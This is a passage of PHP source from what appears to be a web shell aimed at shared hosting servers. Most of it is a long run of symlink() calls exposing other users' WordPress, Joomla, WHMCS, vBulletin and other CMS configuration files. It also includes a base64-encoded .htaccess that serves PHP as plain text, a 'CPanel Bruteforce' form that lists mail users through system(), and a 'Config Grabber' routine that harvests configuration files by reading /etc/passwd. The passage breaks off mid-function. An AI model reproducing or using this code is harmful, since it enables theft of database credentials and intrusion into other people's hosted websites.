2257 symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
2258 symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
2259 symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
2260 symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
2261 symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
2262 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
2263 symlink('/home4/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
2264 symlink('/home4/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
2265 symlink('/home4/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
2266 symlink('/home4/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
2267 symlink('/home4/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
2268 symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
2269 symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
2270 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
2271 symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
2272 symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
2273 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
2274 symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
2275 symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
2276 symlink('/home4/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
2277 symlink('/home4/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
2278 symlink('/home4/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
2279 symlink('/home4/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
2280 symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
2281 symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
2282 symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
2283 symlink('/home4/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
2284 symlink('/home4/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
2285 symlink('/home4/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
2286 symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
2287 symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
2288 symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
2289 symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
2290 symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
2291 symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
2292 symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
2293 symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
2294 symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
2295 symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
2296 symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
2297 symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
2298 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
2299 symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
2300 symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
2301 symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
2302 symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
2303 symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
2304 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
2305 symlink('/home5/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
2306 symlink('/home5/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
2307 symlink('/home5/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
2308 symlink('/home5/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
2309 symlink('/home5/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
2310 symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
2311 symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
2312 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
2313 symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
2314 symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
2315 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
2316 symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
2317 symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
2318 symlink('/home5/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
2319 symlink('/home5/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
2320 symlink('/home5/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
2321 symlink('/home5/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
2322 symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
2323 symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
2324 symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
2325 symlink('/home5/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
2326 symlink('/home5/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
2327 symlink('/home5/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
2328 symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
2329 symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
2330 symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
2331 symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
2332 symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
2333 symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
2334 symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
2335 symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
2336 symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
2337 symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
2338 symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
2339 symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
2340 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
2341 symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
2342 symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
2343 symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
2344 symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
2345 symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
2346 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
2347 symlink('/home6/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
2348 symlink('/home6/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
2349 symlink('/home6/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
2350 symlink('/home6/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
2351 symlink('/home6/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
2352 symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
2353 symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
2354 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
2355 symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
2356 symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
2357 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
2358 symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
2359 symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
2360 symlink('/home6/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
2361 symlink('/home6/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
2362 symlink('/home6/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
2363 symlink('/home6/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
2364 symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
2365 symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
2366 symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
2367 symlink('/home6/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
2368 symlink('/home6/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
2369 symlink('/home6/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
2370 symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
2371 symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
2372 symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
2373 symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
2374 symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
2375 symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
2376 symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
2377 symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
2378 symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
2379 symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
2380 symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
2381 symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
2382 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
2383 symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
2384 symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
2385 symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
2386 symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
2387 symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
2388 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
2389 symlink('/home7/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
2390 symlink('/home7/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
2391 symlink('/home7/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
2392 symlink('/home7/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
2393 symlink('/home7/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
2394 symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
2395 symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
2396 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
2397 symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
2398 symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
2399 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
2400 symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
2401 symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
2402 symlink('/home7/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
2403 symlink('/home7/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
2404 symlink('/home7/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
2405 symlink('/home7/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
2406 symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
2407 symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
2408 symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
2409 symlink('/home7/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
2410 symlink('/home7/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
2411 symlink('/home7/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
2412 symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
2413 symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
2414 symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
2415 symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
2416 symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
2417 symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
2418 symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
2419 symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
2420 symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
2421 symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
2422 symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
2423 symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
2424 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
2425 symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
2426 symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
2427 symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
2428 symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
2429 symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
2430 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
2431 }
2432 $d0mains = @file("/etc/named.conf");
2433 if($d0mains)
2434 {
2435 mkdir($fn);
2436 chdir($fn);
2437 foreach($d0mains as $d0main)
2438 {
2439 if(eregi("zone",$d0main))
2440 {
2441 preg_match_all('#zone "(.*)"#', $d0main, $domains);
2442 flush();
2443 if(strlen(trim($domains[1][0])) > 2)
2444 {
2445 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
2446 syml($user['name'],$domains[1][0]);
2447 }
2448 }
2449 }
2450 echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><center>[Done] : <span style='color:".$color[0].";'>Successfull, </span> <a href=$fn/ style='text-decoration:none;'><input type='button' value='Go !'></a> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
2451 }
2452 else
2453 {
2454 mkdir($fn);
2455 chdir($fn);
2456 $temp = "";
2457 $val1 = 0;
2458 $val2 = 1000;
2459 for(;$val1 <= $val2;$val1++)
2460 {
2461 $uid = @posix_getpwuid($val1);
2462 if ($uid)
2463 $temp .= join(':',$uid)."\n";
2464 }
2465 echo '<br/>';
2466 $temp = trim($temp);
2467 $file5 = fopen("test.txt","w");
2468 fputs($file5,$temp);
2469 fclose($file5);
2470$htaccess =
2471'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
2472aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
2473biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
2474';
2475$file = fopen(".htaccess","w+");
2476$write = fwrite ($file ,base64_decode($htaccess));
2477
2478 $file = fopen("test.txt", "r") or exit("Unable to open file!");
2479 while(!feof($file))
2480 {
2481 $s = fgets($file);
2482 $matches = array();
2483 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2484 $matches = str_replace("home/","",$matches[1]);
2485 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
2486 continue;
2487 syml($matches,$matches);
2488 }
2489 fclose($file);
2490 echo "</table>";
2491 unlink("test.txt");
2492 echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><center>[Done] : <span style='color:".$color[0].";'>Successfull, </span> <a href=$fn/ style='text-decoration:none;'><input type='button' value='Go !'></a> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
2493 }
2494exit;
2495}
2496?>
2497<form method="POST" target="_blank">
2498<input name="page" type="hidden" value="find">
2499 <table width="550" cellpadding="3" cellspacing="1" align="center" style="border:3px solid #EB4949;" border=1>
2500 <tr>
2501 <td valign="top" colspan="6" style="border-bottom:2px solid #EB4949;padding:10px;"><center><span style="font-family: Verdana;font-size:30px;font-weight:bold;text-shadow: <?php echo $color[0]; ?> 0.0em 0.0em 0.2em;">D.A.C CPanel Bruteforce</span><br>
2502 </center></td>
2503 </tr>
2504 <tr>
2505 <td valign="top" style="width: 200px;"><span class="label">Safe Mode</span></td>
2506 <td valign="top" colspan="5"><span class="label">
2507<?php
2508$safe_mode = ini_get('safe_mode');
2509if($safe_mode=='1')
2510{
2511echo 'ON';
2512}else{
2513echo 'OFF';
2514}
2515?>
2516 </span>
2517 </td>
2518 </tr>
2519</form>
2520 <tr>
2521 <td valign="top"><span class="label">Disable Function</span></td>
2522 <td valign="top" colspan="5">
2523<form method="POST" target="?cp">
2524<input name="matikan" type="hidden" value="sekatan">
2525<?php
2526if(''==($func=@ini_get('disable_functions')))
2527{
2528echo "<font color='#EB4949' style='position:absolute;font-size:13px;'>No Security for Function</font>";
2529echo '<tr><td valign="top"><span class="label">Bypass</span></td><td valign="top" colspan="5"><font color="#EB4949" style="font-size:13px;">Success</font></td></tr>';
2530}else{
2531echo '<script>alert("\t Please See Below And Press \t \n \t --->| Click Here First! |<--- \t");</script>';
2532echo "<font color=#FF0000 style='position:relatif;font-size:13px;'>$func</font>";
2533echo '<tr><td valign="top"><span class="label">Bypass</span></td><td valign="top" colspan="5"><input type="submit" value="Click Here First!"></td></tr>';
2534}
2535?></form></td>
2536<form method="POST" target="?cp">
2537<input name="mendapatkan" type="hidden" value="passwd">
2538 <tr>
2539 <td valign="top"><span class="label">Get Config</span></td>
2540 <td valign="top"><input size="35" name="foldername" type="text" value="create_name_folder_config"> <input type="submit" value="Submit"></td>
2541 </td>
2542 </tr>
2543</form>
2544<form method="POST" target="_blank">
2545<input name="pass1" type="hidden" value="password">
2546 <tr>
2547 <td valign="top"><span class="label">Get Passlist</span></td>
2548 <td valign="top"><input size="35" name="url" type="text" value="url_of_config"> <input type="submit" value="Submit"></td>
2549 </td>
2550 </tr>
2551</form>
2552 <tr>
2553 <td valign="top">
2554 <span class="label">Userlist</span></td>
2555 <td valign="top" colspan="5"><textarea cols="40" rows="7" name="usernames"><?php system('ls /var/mail');?></textarea></td>
2556 </tr>
2557 <tr>
2558 <td valign="top">
2559 <span class="label">Passlist</span></td>
2560 <td valign="top"colspan="5"><textarea cols="40" rows="7" name="passwords"></textarea></td>
2561 </tr>
2562 <tr>
2563 <td valign="top">
2564 <span class="label">Type</span></td>
2565 <td valign="top" colspan="5">
2566 <input type="radio" name="type" value="simple" checked="checked"><span class="label">Simple</span>
2567 <input type="radio" name="type" value="passwd"><span class="label">/etc/passwd</span>
2568<input type="submit" value="Submit">
2569 </td>
2570 </tr>
2571</form>
2572
2573
2574</table>
2575</body>
2576</html>
2577<?php exit;
2578}
2579
2580
2581
2582
2583
2584function actionconfiggrab() {
2585 printHeader();
2586
2587 $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
2588 $expld = explode('/',$furl );
2589 $burl =str_replace(end($expld),'',$furl);
2590 echo '<div class="content"><center>
2591 <h3>[ <a href="#" onclick="g(\'configgrab\',null,\'xdxd\',null)">Config Grabber[f-g-c]</a> ] -
2592[ <a href="#" onclick="g(\'configgrab\',null,\'xdxd2\',null)">Config Grabber[Perl]<sup style="color:red;text-decoration:blink;"></sup></a> ]';
2593
2594
2595 if(isset($_POST['p1']) && $_POST['p1']=='xdxd') { $User = $_POST['p1']; system('mkdir xd'); chmod('xd', 0777); if($User){ $users = file("/etc/passwd"); $lolx = array(); foreach ($users as $user) { $users = explode(":", $user); $lolx[] = $users[0]; } foreach ($lolx as $lol) { $space = "\n\n"."*"."\n"."*"."\n"."*"."\n\n"; if(file_exists('/home/'.$lol.'public_html/portal/configuration.php')){ $content = file_get_contents('/home/'.$lol.'public_html/portal/configuration.php'); $handle = fopen('xd/whm.txt', 'a'); fwrite($handle, $content.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/inc/config.php')){ $content1 = file_get_contents('/home/'.$lol.'/public_html/inc/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/sites/default/settings.php')) { $content2 = file_get_contents('/home/'.$lol.'/public_html/sites/default/settings.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content2.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/configure.php')) { $content3 = file_get_contents('/home/'.$lol.'/public_html/includes/configure.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content3.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/lib/config.php')) { $content4 = file_get_contents('/home/'.$lol.'/public_html/lib/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content4.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/config/koneksi.php')) { $content5 = file_get_contents('/home/'.$lol.'/public_html/config/koneksi.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content5.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/vb/includes/config.php')) { $content6 = file_get_contents('/home/'.$lol.'/public_html/vb/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content6.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/config.php')) { $content7 = file_get_contents('/home/'.$lol.'/public_html/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content7.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/forum/includes/config.php')) { $content8 = file_get_contents('/home/'.$lol.'/public_html/forum/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content8.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/cc/includes/config.php')) { $content9 = file_get_contents('/home/'.$lol.'/public_html/cc/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content9.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/config.php')) { $content10 = file_get_contents('/home/'.$lol.'/public_html/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content10.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/forum/includes/config.php')) { $content11 = file_get_contents('/home/'.$lol.'/public_html/forum/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content11.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp-config.php')) { $content12 = file_get_contents('/home/'.$lol.'/public_html/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content12.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/blog/wp-config.php')) { $content13 = file_get_contents('/home/'.$lol.'/public_html/blog/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content13.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp/wp-config.php')) { $content14 = file_get_contents('/home/'.$lol.'/public_html/wp/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content14.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/home/wp-config.php')) { $content15 = file_get_contents('/home/'.$lol.'/public_html/home/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content15.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp-config.php')) { $content16 = file_get_contents('/home/'.$lol.'/public_html/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content16.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/main/wp-config.php')) { $content17 = file_get_contents('/home/'.$lol.'/public_html/main/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content17.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/site/wp-config.php')) { $content18 = file_get_contents('/home/'.$lol.'/public_html/site/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content18.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/configuration.php')) { $content19 = file_get_contents('/home/'.$lol.'/public_html/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content19.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/blog/configuration.php')) { $content20 = file_get_contents('/home/'.$lol.'/public_html/blog/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content20.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/joomla/configuration.php')) { $content21 = file_get_contents('/home/'.$lol.'/public_html/joomla/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content21.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/main/configuration.php')) { $content22 = file_get_contents('/home/'.$lol.'/public_html/main/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content22.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/home/configuration.php')) { $content23 = file_get_contents('/home/'.$lol.'/public_html/home/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content23.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/site/configuration.php')) { $content24 = file_get_contents('/home/'.$lol.'/public_html/site/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content24.$space); 